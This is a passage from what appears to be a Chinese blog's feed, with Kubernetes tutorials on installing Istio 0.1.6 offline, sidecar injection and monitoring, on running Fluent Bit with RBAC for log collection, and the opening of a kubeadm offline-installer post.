&lt;p&gt;这一篇是第一篇，将一些主要的坑和环境准备工作。&lt;/p&gt;

&lt;p&gt;内容较多，因此无法写成手把手教程，希望读者有一定 Kubernetes 的操作基础。&lt;/p&gt;

&lt;h2 id=&#34;准备镜像&#34;&gt;准备镜像&lt;/h2&gt;

&lt;p&gt;初始运行需要的镜像包括以下几个：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;istio/mixer:0.1.6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pilot:0.1.6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;proxy_debug:0.1.6&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;istio-ca:0.1.6&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;首先要解决的自然还是镜像的存放问题，官方在源码中提供了很方便的工具，用来根据模板生成在 Kubernetes 中运行 istio 的 YAML 文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;./updateVersion.sh \
	-p 10.211.55.86:5000/istio,0.1.6 \
	-c 10.211.55.86:5000/istio,0.1.6 \
	-x 10.211.55.86:5000/istio,0.1.6
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一脚本在源码的 install 目录下。&lt;/p&gt;

&lt;h2 id=&#34;kubernetes-环境&#34;&gt;Kubernetes 环境&lt;/h2&gt;

&lt;p&gt;这里我们使用的集群大概情况是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;1.7.1 版本的 Kubernetes&lt;/li&gt;
&lt;li&gt;开启了 RBAC&lt;/li&gt;
&lt;li&gt;预备使用的命名空间为：default&lt;/li&gt;
&lt;li&gt;PVC 自动供给&lt;/li&gt;
&lt;li&gt;无互联网连接&lt;/li&gt;
&lt;li&gt;具有自己的私库&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;启动-istio&#34;&gt;启动 istio&lt;/h2&gt;

&lt;h3 id=&#34;rbac-相关&#34;&gt;RBAC 相关&lt;/h3&gt;

&lt;p&gt;首先，install 目录中提供的 rbac 文件授权范围不足，所以需要手工编辑&lt;code&gt;istio-rbac-beta.yaml&lt;/code&gt;，把其中的几个 RoleBinding，改为 ClusterRoleBinding。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl create \
	-f istio-rbac-beta.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外缺省的 ClusterRole 中缺乏对 Namespace 的权限，新版本已经修正，目前版本仍需添加：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: istio-pilot
rules:
- apiGroups: [&amp;quot;istio.io&amp;quot;]
  resources: [&amp;quot;istioconfigs&amp;quot;, &amp;quot;istioconfigs.istio.io&amp;quot;]
  verbs: [&amp;quot;*&amp;quot;]
- apiGroups: [&amp;quot;extensions&amp;quot;]
  resources: [&amp;quot;thirdpartyresources&amp;quot;, &amp;quot;thirdpartyresources.extensions&amp;quot;, &amp;quot;ingresses&amp;quot;, &amp;quot;ingresses/status&amp;quot;]
  verbs: [&amp;quot;*&amp;quot;]
- apiGroups: [&amp;quot;&amp;quot;]
  resources: [&amp;quot;configmaps&amp;quot;, &amp;quot;endpoints&amp;quot;, &amp;quot;pods&amp;quot;, &amp;quot;services&amp;quot;]
  verbs: [&amp;quot;*&amp;quot;]
- apiGroups: [&amp;quot;&amp;quot;]
  resources: [&amp;quot;namespaces&amp;quot;, &amp;quot;nodes&amp;quot;, &amp;quot;secrets&amp;quot;]
  verbs: [&amp;quot;get&amp;quot;, &amp;quot;list&amp;quot;, &amp;quot;watch&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;启动-istio-组件&#34;&gt;启动 istio 组件&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;kubectl create \
	-f istio.yaml \
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;创建-pvc&#34;&gt;创建 PVC&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: frontend-v1
spec:
  accessModes:
  - ReadWriteOnce
  resources:
    requests:
      storage: 1Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;准备工作负载&#34;&gt;准备工作负载&lt;/h2&gt;

&lt;p&gt;这里我们使用官方的 PHP + Apache 镜像作为工作负载来进行下面的测试，例如我们准备好的 YAML 如下：&lt;/p&gt;

&lt;p&gt;Deployment：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Deployment
apiVersion: extensions/v1beta1
metadata:
  name: frontend
  labels:
    name: frontend
    version: &amp;quot;1&amp;quot;
spec:
  replicas: 1
  template:
    metadata:
      labels:
        name: frontend
        version: &amp;quot;1&amp;quot;
    spec:
      containers:
      - name: php
        image: 10.211.55.86:5000/php:7.1.7-apache
        ports:
        - containerPort: 80
          protocol: TCP
        volumeMounts:
        - name: wwwroot
          mountPath: /var/www/html
        env:
        - name: &amp;quot;SERVICE_VERSION&amp;quot;
          value: &amp;quot;1&amp;quot;      
     	volumes:
      - name: wwwroot
        persistentVolumeClaim:
          claimName: frontend-v1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;服务定义：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Service
apiVersion: v1
metadata:
  name: svc-frontend
  labels:
    name: frontend
    version: &amp;quot;1&amp;quot;
spec:
  type: NodePort
  ports:
  - protocol: TCP
    port: 80
    targetPort: 80
    nodePort: 32010  
  selector:
    name: frontend

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 Web 目录中我们随便做了个&lt;code&gt;index.php&lt;/code&gt;，用来展示当前所在 Pod 和环境变量中的服务版本号，备用。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tips：一般这类测试，我都懒得重新做一个 Docker 镜像，一般是另外用一个 Pod 挂载同一个 PVC，直接编辑页面文件，或者使用&lt;code&gt;kubectl cp&lt;/code&gt;命令进行拷贝。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;index-php&#34;&gt;index.php&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
header(&amp;quot;Content-type: text/plain&amp;quot;);
echo &amp;quot;From: &amp;quot;.gethostname().&amp;quot;\n&amp;quot;;
echo &amp;quot;Version: &amp;quot;.$_ENV[&#39;SERVICE_VERSION&#39;].&amp;quot;\n&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;delay-php&#34;&gt;delay.php&lt;/h3&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;
&amp;lt;?php
header(&amp;quot;Content-type: text/plain&amp;quot;);
sleep(4);
echo &amp;quot;\n-----------------------------\n&amp;quot;;
echo &amp;quot;\nFrom: &amp;quot;.gethostname().&amp;quot;\n&amp;quot;;
echo &amp;quot;Version: &amp;quot;.$_ENV[&#39;SERVICE_VERSION&#39;].&amp;quot;\n&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行成功后，访问该服务的 nodePort，会看到相应的输出内容。&lt;/p&gt;

&lt;h2 id=&#34;istio-的注入&#34;&gt;istio 的注入&lt;/h2&gt;

&lt;p&gt;首先用&lt;code&gt;kubectl delete -f&lt;/code&gt;删除上文的服务和 Deployment。&lt;/p&gt;

&lt;p&gt;上面为了测试方便，给 Service 使用了 NodePort 类型，这里我们去掉这一服务的 NodePort，用 ClusterIP 的形式运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;spec:
  ports:
  - protocol: TCP
    port: 80
    targetPort: 80
  selector:
    name: frontend
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来进行注入操作&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;istioctl kube-inject -f frontend-v1.yaml &amp;gt; frontend-v1-istio.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;观察注入操作会发现，其中多了一个 Sidecar Container（下面的 Image 节内容已经被我修改为本地私库）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;    env:
    - name: POD_NAME
      valueFrom:
        fieldRef:
          fieldPath: metadata.name
    - name: POD_NAMESPACE
      valueFrom:
        fieldRef:
          fieldPath: metadata.namespace
    - name: POD_IP
      valueFrom:
        fieldRef:
          fieldPath: status.podIP
    image: 10.211.55.86:5000/istio/proxy_debug:0.1.6
    imagePullPolicy: Always
    name: proxy
    resources: {}
    securityContext:
      runAsUser: 1337
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外还在&lt;code&gt;pod.beta.kubernetes.io/init-containers&lt;/code&gt;注解中进行了初始化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;[{
  &amp;quot;args&amp;quot;: [&amp;quot;-p&amp;quot;, &amp;quot;15001&amp;quot;, &amp;quot;-u&amp;quot;, &amp;quot;1337&amp;quot;],
  &amp;quot;image&amp;quot;: &amp;quot;10.211.55.86:5000/istio/init:0.1&amp;quot;,
  &amp;quot;imagePullPolicy&amp;quot;: &amp;quot;Always&amp;quot;,
  &amp;quot;name&amp;quot;: &amp;quot;init&amp;quot;,
  &amp;quot;securityContext&amp;quot;: {
    &amp;quot;capabilities&amp;quot;: {
      &amp;quot;add&amp;quot;: [&amp;quot;NET_ADMIN&amp;quot;]
    }
  }
}, {
  &amp;quot;args&amp;quot;: [&amp;quot;-c&amp;quot;, &amp;quot;sysctl -w kernel.core_pattern=/tmp/core.%e.%p.%t &amp;amp;&amp;amp; ulimit -c unlimited&amp;quot;],
  &amp;quot;command&amp;quot;: [&amp;quot;/bin/sh&amp;quot;],
  &amp;quot;image&amp;quot;: &amp;quot;10.211.55.86:5000/alpine&amp;quot;,
  &amp;quot;imagePullPolicy&amp;quot;: &amp;quot;Always&amp;quot;,
  &amp;quot;name&amp;quot;: &amp;quot;enable-core-dump&amp;quot;,
  &amp;quot;securityContext&amp;quot;: {
    &amp;quot;privileged&amp;quot;: true
  }
}]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到上面一共涉及三个镜像：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;docker.io/istio/proxy_debug:0.1&lt;/li&gt;
&lt;li&gt;docker.io/istio/init:0.1&lt;/li&gt;
&lt;li&gt;alpine&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;经过一番折腾：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;原有 YAML&lt;/li&gt;
&lt;li&gt;注入，生成新的 YAML&lt;/li&gt;
&lt;li&gt;替换新 YAML 中的镜像地址&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;就把原有的容器应用封装成新的 istio 支持的微服务了。&lt;/p&gt;

&lt;h2 id=&#34;准备测试素材&#34;&gt;准备测试素材&lt;/h2&gt;

&lt;p&gt;另外我们需要准备一个工具服务，用于在 shell 中进行测试：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Deployment
apiVersion: extensions/v1beta1
metadata:
  name: tool
  labels:
    name: tool
    version: &amp;quot;1&amp;quot;
spec:
  replicas: 1
  template:
    metadata:
      labels:
        name: tool
        version: &amp;quot;1&amp;quot;
    spec:
      containers:
      - name: tool
        image: 10.211.55.86:5000/php:7.1.7-apache
        ports:
        - containerPort: 80
          protocol: TCP
        volumeMounts:
        - name: wwwroot
          mountPath: /var/www/html
      volumes:
      - name: wwwroot
        persistentVolumeClaim:
          claimName: frontend-v1
---
kind: Service
apiVersion: v1
metadata:
  name: tool
  labels:
    name: tool
spec:
  ports:
  - protocol: TCP
    port: 80
    targetPort: 80
  selector:
    name: tool
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同样的，这里也需要执行&lt;code&gt;istioctl kube-inject&lt;/code&gt;进行注入，运行之后，就得到一个运行于集群内部的 Linux Shell，&lt;strong&gt;istio 中的路由策略经常是客户端和服务器协同完成的，因此上客户和服务器的 Deployment 都需要进行注入操作&lt;/strong&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio，Kubernetes 的微服务支持</title>
      <link>/post/istio-for-kubernetes-microservice/</link>
      <pubDate>Sun, 16 Jul 2017 17:17:08 +0800</pubDate>
      <guid>/post/istio-for-kubernetes-microservice/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;参考资料：
&lt;a href=&#34;https://developer.ibm.com/dwblog/2017/istio/&#34; target=&#34;_blank&#34;&gt;https://developer.ibm.com/dwblog/2017/istio/&lt;/a&gt;
&lt;a href=&#34;http://blog.kubernetes.io/2017/05/managing-microservices-with-istio-service-mesh.html&#34; target=&#34;_blank&#34;&gt;http://blog.kubernetes.io/2017/05/managing-microservices-with-istio-service-mesh.html&lt;/a&gt;
&lt;a href=&#34;https://istio.io/docs/&#34; target=&#34;_blank&#34;&gt;https://istio.io/docs/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;Istio 是一个由 IBM、Google 以及 Lyft 联合推出的开源软件，以无痛方式为运行在 Kubernetes 上的微服务提供流量管理，访问策略管理以及监控等功能。这一软件目前仅在 Kubernetes 上运行，今后可能会扩展到其他平台。本文会结合官方例子，完成安装和基础的监控内容。&lt;/p&gt;

&lt;h2 id=&#34;架构和组件&#34;&gt;架构和组件&lt;/h2&gt;

&lt;p&gt;总体架构如图所示。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://istio.io/docs/concepts/what-is-istio/img/architecture/arch.svg&#34; alt=&#34;arch&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;envoy&#34;&gt;Envoy&lt;/h3&gt;

&lt;p&gt;一个 C++ 编写的高性能代理服务器，这里做了扩展，在 Istio 中会以 Sidecar 方式跟应用运行在同一 Pod 内，一方面可以接收并执行关于规则、流量拆分等方面的指令，另一方面能够产生各种指标用于监控和跟踪。&lt;/p&gt;

&lt;h3 id=&#34;mixer&#34;&gt;Mixer&lt;/h3&gt;

&lt;p&gt;Mixer 组件，主要进行访问控制以及策略控制，同时也负责从 Envoy 中获取各项指标。&lt;/p&gt;

&lt;h3 id=&#34;pilot&#34;&gt;Pilot&lt;/h3&gt;

&lt;p&gt;Pilot 是用户和 Isito 之间的桥梁，负责接收各种配置，并发送给各个组件。&lt;/p&gt;

&lt;h3 id=&#34;istio-auth&#34;&gt;Istio auth&lt;/h3&gt;

&lt;p&gt;内置认证和凭证管理，利用 TLS 提供服务之间、用户和服务之间的认证。
可以用来将没有加密支持的服务升级为加密版本，并且在网络策略之外，提供服务级别的策略控制，今后还会增加更多的鉴权和审计方面的能力。&lt;/p&gt;

&lt;h3 id=&#34;功能-特性&#34;&gt;功能 &amp;amp; 特性&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;无需对现有服务进行变更&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;支持 http 1.1/2、gRPC 以及 TCP 流量的负载均衡和故障转移&lt;/li&gt;
&lt;li&gt;可替换的组件&lt;/li&gt;
&lt;li&gt;流量监控&lt;/li&gt;
&lt;li&gt;可提供身份认证功能&lt;/li&gt;
&lt;li&gt;可定制的路由规则&lt;/li&gt;
&lt;li&gt;错误处理，例如超时、重试、访问量控制、健康检查和熔断器等。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;h3 id=&#34;先决条件&#34;&gt;先决条件&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes&lt;/li&gt;
&lt;li&gt;互联网连接&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;准备工作&#34;&gt;准备工作&lt;/h3&gt;

&lt;p&gt;首先去&lt;code&gt;https://github.com/istio/istio/releases&lt;/code&gt;下载最新版本（目前为 0.1.6），解压并设置 istioctl 命令的执行路径 。下面命令中描述的相对目录就是基于此目录&lt;/p&gt;

&lt;p&gt;执行命令&lt;code&gt;kubectl api-versions | grep rbac&lt;/code&gt;查看当前集群的 RBAC 设置：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;如果返回内容为空则无需理会。&lt;/li&gt;
&lt;li&gt;如果返回内容中包含&lt;code&gt;beta&lt;/code&gt;，则需要运行&lt;code&gt;kubectl apply -f install/kubernetes/istio-rbac-beta.yaml
&lt;/code&gt;来进行授权&lt;/li&gt;
&lt;li&gt;如果返回内容中只有&lt;code&gt;alpha&lt;/code&gt; ，就要&lt;code&gt;kubectl apply -f install/kubernetes/istio-rbac-beta.yaml
&lt;/code&gt;创建相应的角色和绑定了。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;运行&#34;&gt;运行&lt;/h3&gt;

&lt;p&gt;最后，运行&lt;code&gt;kubectl create -f install/kubernetes/istio.yaml&lt;/code&gt;创建一系列的 Deployment 以及 Services。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注1： 其实上面的内容照做并不一定能成功，反正我的 1.6.6 上面是没能成功，Pilot Pod 中的 API Server 容器会出错，错误信息大概是“system:serviceaccount:default:istio-pilot-service-account&amp;rdquo; cannot get thirdpartyresources.extensions at the cluster scope.”，也就证明了 beta.yaml 中的 RBAC 设置是不够的，这里我把几个 RoleBinding 都改成为 ClusterRoleBinding，运行就成功了。&lt;/p&gt;

&lt;p&gt;注2：istio.yaml 中的 Ingress 服务是 Loadbalancer 类型的，如果测试集群不具备这样的条件，还请自行修改成其他合适内容。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;至此，基础的 istio 组件就已经运行完毕了。&lt;/p&gt;

&lt;h2 id=&#34;运行应用&#34;&gt;运行应用&lt;/h2&gt;

&lt;p&gt;安装包内包含了一个叫 bookinfo 的小应用，由 Product（入口页）、Detail 和 Review 三部分组成，具体应用 YAML 在安装目录的&lt;code&gt;samples/apps/bookinfo/bookinfo-v1.yaml&lt;/code&gt;文件中。打开文件我们会发现这是个很简单的小应用，无非是几个 Deployment 和 Service 的组合。&lt;/p&gt;

&lt;p&gt;该应用的微服务相互关系大致如下图所示，这个例子很好的展示了 istio 的一大特性——不拘泥于某种语言。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/c26c9a2771b4008770270ba15c6a0f8f.png&#34; alt=&#34;v1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;istio 提供了一个工具叫 istioctl，这个工具的功能之一，就是把普通的应用 YAML 注入为 istio 支持的应用模式，例如：&lt;code&gt;istioctl kube-inject -f bookinfo-v1.yaml &amp;gt; bookinfo-istio-v1.yaml&lt;/code&gt;，比较新旧两个文件不难发现，这一工具为每个 Pod 新增了一个名为 proxy 的容器，以此接管流量，给监控和管理打下基础。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/42138edb04f53163c7a97702cfc66698.png&#34; alt=&#34;v1+istio&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来我们运行这一应用：
- &lt;code&gt;kubectl create -f bookinfo-istio-v1.yaml&lt;/code&gt;：运行注入后的 应用
- &lt;code&gt;kubectl create -f bookinfo-ingress.yaml&lt;/code&gt;：创建 Ingress 资源&lt;/p&gt;

&lt;h2 id=&#34;监控&#34;&gt;监控&lt;/h2&gt;

&lt;p&gt;istio 内置了对 ServiceGraph、Prometheus 以及 Zipkin 的支持，简单的运行一下&lt;code&gt;kubectl create -f install/kubernetes/addons&lt;/code&gt;，就会启用这几个服务。注意这几个服务使用的也都是 Loadbalancer 模式，读者应根据集群情况自行修改。&lt;/p&gt;

&lt;p&gt;各个服务启动之后，可以使用负载工具例如 wrk 对 Productpage 页面进行一段时间的访问，来模拟工作情况。&lt;/p&gt;

&lt;h2 id=&#34;grafana&#34;&gt;Grafana&lt;/h2&gt;

&lt;p&gt;Grafana 启动后，我们可以使用服务暴露的地址进行访问，在其中可以看到如下图所示的 Dashboard，展示了我们应用中的几个服务的各种监控数据。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/16a47d78ee8e4046f8e8a90f5ded543f.png&#34; alt=&#34;grafana&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;service-graph&#34;&gt;Service Graph&lt;/h2&gt;

&lt;p&gt;这一个服务提供了两个入口，一个是 &lt;code&gt;/dotvz&lt;/code&gt;，以图形的方式供服务关系展示，而&lt;code&gt;/graph&lt;/code&gt;则提供了 JSON 格式的文档供结构化使用。例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;nodes&amp;quot;: {
        &amp;quot;details&amp;quot;: {},
        &amp;quot;productpage&amp;quot;: {},
        &amp;quot;reviews&amp;quot;: {},
        &amp;quot;unknown&amp;quot;: {}
    },
    &amp;quot;edges&amp;quot;: [
        {
            &amp;quot;source&amp;quot;: &amp;quot;productpage&amp;quot;,
            &amp;quot;target&amp;quot;: &amp;quot;reviews&amp;quot;,
            &amp;quot;labels&amp;quot;: {
                &amp;quot;qps&amp;quot;: &amp;quot;0.030416&amp;quot;,
                &amp;quot;version&amp;quot;: &amp;quot;v1&amp;quot;
            }
        },
        {
            &amp;quot;source&amp;quot;: &amp;quot;unknown&amp;quot;,
            &amp;quot;target&amp;quot;: &amp;quot;productpage&amp;quot;,
            &amp;quot;labels&amp;quot;: {
                &amp;quot;qps&amp;quot;: &amp;quot;0.030416&amp;quot;,
                &amp;quot;version&amp;quot;: &amp;quot;v1&amp;quot;
            }
        },
        {
            &amp;quot;source&amp;quot;: &amp;quot;productpage&amp;quot;,
            &amp;quot;target&amp;quot;: &amp;quot;details&amp;quot;,
            &amp;quot;labels&amp;quot;: {
                &amp;quot;qps&amp;quot;: &amp;quot;0.030416&amp;quot;,
                &amp;quot;version&amp;quot;: &amp;quot;v1&amp;quot;
            }
        }
    ]
}	
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;zipkin&#34;&gt;Zipkin&lt;/h2&gt;

&lt;p&gt;Istio 提供了开箱即用的 Zipkin 跟踪支持，打开页面之后，我们会看到 Zipkin 的查找页面，并无特殊内容，就不展开细谈了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/89331f5f59d1ba743b2d839763198946.png&#34; alt=&#34;zipkin&#34; /&gt;&lt;/p&gt;

&lt;p&gt;文中介绍内容只是很粗浅的入门操作，后续会进一步跟进、挖掘和学习这一系统的其他强大功能。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 中使用 Fluent Bit 进行日志采集</title>
      <link>/post/fluentbit-in-k8s/</link>
      <pubDate>Mon, 10 Jul 2017 08:51:52 +0800</pubDate>
      <guid>/post/fluentbit-in-k8s/</guid>
      <description>&lt;p&gt;Fluent Bit 和 Fluentd 一样，是 Treasure Data 资助的采集工具，二者对比如下：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Fluentd&lt;/th&gt;
&lt;th&gt;FluentBit&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;范围&lt;/td&gt;
&lt;td&gt;服务器&lt;/td&gt;
&lt;td&gt;嵌入设备和 IoT 设备&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;内存&lt;/td&gt;
&lt;td&gt;约 20 MB&lt;/td&gt;
&lt;td&gt;约 150 KB&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;语言&lt;/td&gt;
&lt;td&gt;C 和 Ruby&lt;/td&gt;
&lt;td&gt;C&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;td&gt;高&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;依赖&lt;/td&gt;
&lt;td&gt;以 Ruby Gem 构建，依赖一系列的 Gem&lt;/td&gt;
&lt;td&gt;零依赖，可能有些插件会有依赖。&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;插件&lt;/td&gt;
&lt;td&gt;超过三百个&lt;/td&gt;
&lt;td&gt;目前15个左右&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;授权&lt;/td&gt;
&lt;td&gt;Apache License v2.0&lt;/td&gt;
&lt;td&gt;Apache License v2.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;从上表可以看出，Fluentd 具有众多插件，随之而来的是很好的弹性。而 Fluent Bit 则更适用于嵌入设备等资源受限的场景。另外二者并非互斥关系，Fluent Bit 提供了输出插件，可以把数据发给 Fluentd，因此他们可以在系统中作为独立服务互相协作。&lt;/p&gt;

&lt;p&gt;Fluent Bit 也提供了 Kubernetes Filter 插件，用于将采集到的日志结合对 Kubernetes API 的查询，为日志加入 Kubernetes 的相关数据，例如 Pod 信息、容器信息、命名空间以及标签和注解等内容。&lt;/p&gt;

&lt;p&gt;仅就此来说，Fluent Bit 是可以替代 Kubernetes 缺省推荐的 Fluentd 进行日志采集工作的，经过笔者测试，可以直接使用他替代原有的 Fluentd，使用 DaemonSet 运行，结合 Elastic Search 进行日志归集工作。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;详情参见：&lt;a href=&#34;http://fluentbit.io/documentation/0.11/filter/kubernetes.html&#34; target=&#34;_blank&#34;&gt;http://fluentbit.io/documentation/0.11/filter/kubernetes.html&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;简单的使用如下命令就可以运行：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    kubectl create -f https://raw.githubusercontent.com/fluent/fluent-bit-kubernetes-daemonset/master/fluent-bit-daemonset-elasticsearch.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这一 YAML 文件中的镜像版本为 0.11，具体版本更新可以到 Docker Hub 进行查询，其中包含的缺省 elasticsearch 地址为 elasticsearch-logging，端口为 9200，如上配置如果不符，可以下载文件自行修改运行。&lt;/p&gt;

&lt;p&gt;另外目前 RBAC 的访问控制模式已经成为缺省，在启用了 RBAC 模式的集群中，该 Pod 的运行是无法成功的，具体表现是日志中出现无法获取 Pod 元数据的信息，这是因为缺省情况下，这一 YAML 中使用的是 &lt;code&gt;kube-system&lt;/code&gt; 中的 &lt;code&gt;default&lt;/code&gt;  Service Account，这一服务账号并不具备获取 Pod 信息的授权，要成功运行，就必须按照 RBAC 的规矩，让 Fluent Bit 的 Service Account 能够获取 Pod 信息，可以用如下方式来解决：&lt;/p&gt;

&lt;p&gt;首先为 Fluent bit 创建专门的 Service Account：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    kubectl create sa logging -n kube-system
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后为日志收集器创建角色，让该角色可以读取 Pod 信息。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: pod-reader
rules:
- apiGroups: [&amp;quot;&amp;quot;]
  resources: [&amp;quot;pods&amp;quot;]
  verbs: [&amp;quot;get&amp;quot;, &amp;quot;watch&amp;quot;, &amp;quot;list&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来创建 ClusterRoleBinding，把新建的角色和 Service Account 绑定在一起：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: read-pods-global
subjects:
- kind: ServiceAccount
  name: logging
  namespace: kube-system
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后在 Fluent Bit 的 yaml 中加入 Service Account 的指派：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# 省略若干
spec:
  template:
    metadata:
      labels:
        k8s-app: fluent-bit-logging
        version: v1
        kubernetes.io/cluster-service: &amp;quot;true&amp;quot;
    spec:
      serviceAccountName: logging
# 省略若干
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;经过这一番折腾之后，Fluent Bit 就可以在开启 RBAC 的 1.&lt;sup&gt;6&lt;/sup&gt;&amp;frasl;&lt;sub&gt;1&lt;/sub&gt;.7 集群上运行了。打开相应的 Kibana 页面，会看到和标配 Fluentd 一致的日志搜集结果。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;好吧，今天讲的其实是 RBAC。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Kubeadm offline installer 升级到 1.7.0 版本</title>
      <link>/post/kubeadm-offline-installer-1.7.0/</link>
      <pubDate>Thu, 06 Jul 2017 23:19:51 +0800</pubDate>
      <guid>/post/kubeadm-offline-installer-1.7.0/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/fleeto/kubeadm-offline-installer/releases&#34; target=&#34;_blank&#34;&gt;仓库地址&lt;/a&gt;&lt;/p&gt;

